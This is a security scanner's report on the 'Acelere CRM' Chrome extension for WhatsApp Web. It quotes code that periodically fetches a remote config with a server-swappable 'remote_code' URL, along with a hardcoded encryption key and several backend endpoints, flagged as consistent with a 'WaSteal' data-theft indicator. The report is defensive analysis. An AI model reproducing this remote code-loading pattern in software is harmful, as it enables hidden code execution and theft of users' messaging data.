Security Alert: Malware Risk Confirmed
Acelere CRM
ID: mahgiheajijdifhnekeknnkfkjbfjkdh
Supported Languages
Extension Info & Metadata
Publisher Contextual Analysis
- Author
- whsclView Profile
- Privacy
- Privacy Policy
- MX records exist
- Yes
- Domain exists
- Yes
- Is disposable
- No
- Is role-based
- No
- Mailbox exists
- Yes
- Website
- Visit
Email Change History
Acelere CRM é um CRM no Google Chorme.
Características do Acelere CRM: ✔ Envio em massa para contatos ou importados via CSV – Envie mensagens para múltiplos contatos de maneira rápida e prática, sem complicação. ✔ Criação de Abas Personalizadas – Organize seus contatos de forma eficiente e encontre facilmente os mais importantes. ✔ Visão Kanban dos Contatos – Tenha uma visão clara e organizada dos seus contatos com a opção de arrastar e soltar. ✔ Envio de Mensagens para Números Não Salvos – Envie mensagens para qualquer número, mesmo que não esteja na sua agenda, sem precisar adicionar à lista de contatos. ✔ Criação de Notas Personalizadas – Anote informações importantes para cada contato diretamente no perfil deles. ✔ Lembretes para Contatos – Nunca se esqueça de retornar uma ligação ou seguir com um compromisso. Crie lembretes específicos para cada contato. ✔ Agendamento de Reuniões no Google Agenda – Agende compromissos diretamente no seu Google Agenda com facilidade, sem precisar sair da plataforma. ✔ Lembretes Simples e Notificações – Crie lembretes rápidos e receba notificações diretamente no seu dispositivo. ✔ Banco de Respostas Rápidas – Tenha respostas pré-configuradas e envie com um clique para otimizar seu tempo. ✔ Exportação de Contatos do Wpp – Exporte seus contatos diretamente do Wpp ou de grupos de Wpp para facilitar a organização. ✔ Suporte Multilíngue – Use a plataforma em seu idioma nativo: português, espanhol ou inglês, garantindo facilidade de uso. ✔ Assistente AI — Sua inteligência artificial pronta para ajudar! Otimize seu tempo com um assistente inteligente, rápido e sempre disponível. Responda dúvidas, automatize tarefas, gere textos, traduções e muito mais com o poder da IA. Ideal para profissionais, equipes e quem busca praticidade no dia a dia. Acelere CRM é uma ferramenta independente, sem qualquer vínculo com o WhatsApp ou a empresa responsável. Funciona exclusivamente através da Chrome Web Store e opera de maneira autônoma. Não somos uma ferramenta oficial do WhatsApp, mas oferecemos funcionalidades inovadoras para quem precisa de mais praticidade na gestão de contatos e mensagens.
Every 10 minutes the background service worker fetches `config.json` from `code.wascript.com.br` and broadcasts the full response object — including a `remote_code` URL field — to all WhatsApp Web content-script tabs via the `Update_DomSelector` message. A secondary function `v()` explicitly extracts this `remote_code` URL (commented 'URL do código remoto') when triggered by the `inject-code` runtime message. Because the main content script body is absent from the analysis bundle, it is impossible to confirm how this URL is consumed, but the architecture creates a fully server-controlled code-loading pathway where the actual JavaScript URL can be silently swapped out server-side between Chrome store reviews. This pattern is consistent with the 'WaSteal' classification recorded in the internal IoC notes.
// Url do código remotoremote_code: "https://code.wascript.com.br/", //remote_code: "https://dev.watools.com.br/", ... const f = async () => { try { const t = await (await fetch(`${n.remote_code}config.json`, { method: "GET" })) .json(); return s("https://web.whatsapp.com/*", "Update_DomSelector", t), t; } catch (e) { return console.error("Erro ao buscar configurações externas:", e), null; } };...case "Ten_Minutes":f();break;The config object embeds a hardcoded `cript_key` UUID alongside five distinct backend endpoints (backend-plugin, backend, backend-utils, multi-atendimento, api-whatsapp) and an audio-transcription endpoint. A pre-shared encryption key combined with multiple backend URLs is a common pattern in data-theft extensions to obfuscate payloads before transmission. Because the content script that would use these endpoints is not present in the analysis bundle, the actual data flows cannot be confirmed, but the presence of an encryption key whose only purpose would be to encrypt data prior to exfiltration is notable in the context of the WaSteal IoC.
// Chave de criptografiacript_key: "ffce211a-7b07-4d91-ba5d-c40bb4034a83", // Url do backend principal backend_plugin: "https://backend-plugin.wascript.com.br/", // Url do backend Antigo backend: "https://painel-old.wascript.com.br/", // Url do backend de funções auxiliares backend_utils: "https://backend-utils.wascript.com.br/", // WebSockets webSocket: { "multi-atendimento": "https://multi-atendimento.wascript.com.br", "api-whatsapp": "https://api-whatsapp.wascript.com.br" }, // Url do audio transcriber audio_transcriber: "https://audio-transcriber.wascript.com.br/transcription",By severity
Versions scanned
Showing 1 of 73 scanned versions with more than one unique finding. Counts are unique findings that include each version.
| Extension Version | Code Review Findings |
|---|---|
| 7.4.3.55 | 2 |
Files with findings
1 distinct path — top paths by unique finding count:
- background.js2
URLs
View the external URLs this extension communicates with to understand its network activity and data interactions.
Gain full insight into all external connections.
Upgrade for full visibility.
Gain full insight into all external connections.
Upgrade for full visibility.
Code Diff
Compare extension code between any two versions.
No comparable text files found between these versions.
Browse and explore files within this extension package
Gain full insight into all external connections.
Upgrade for full visibility.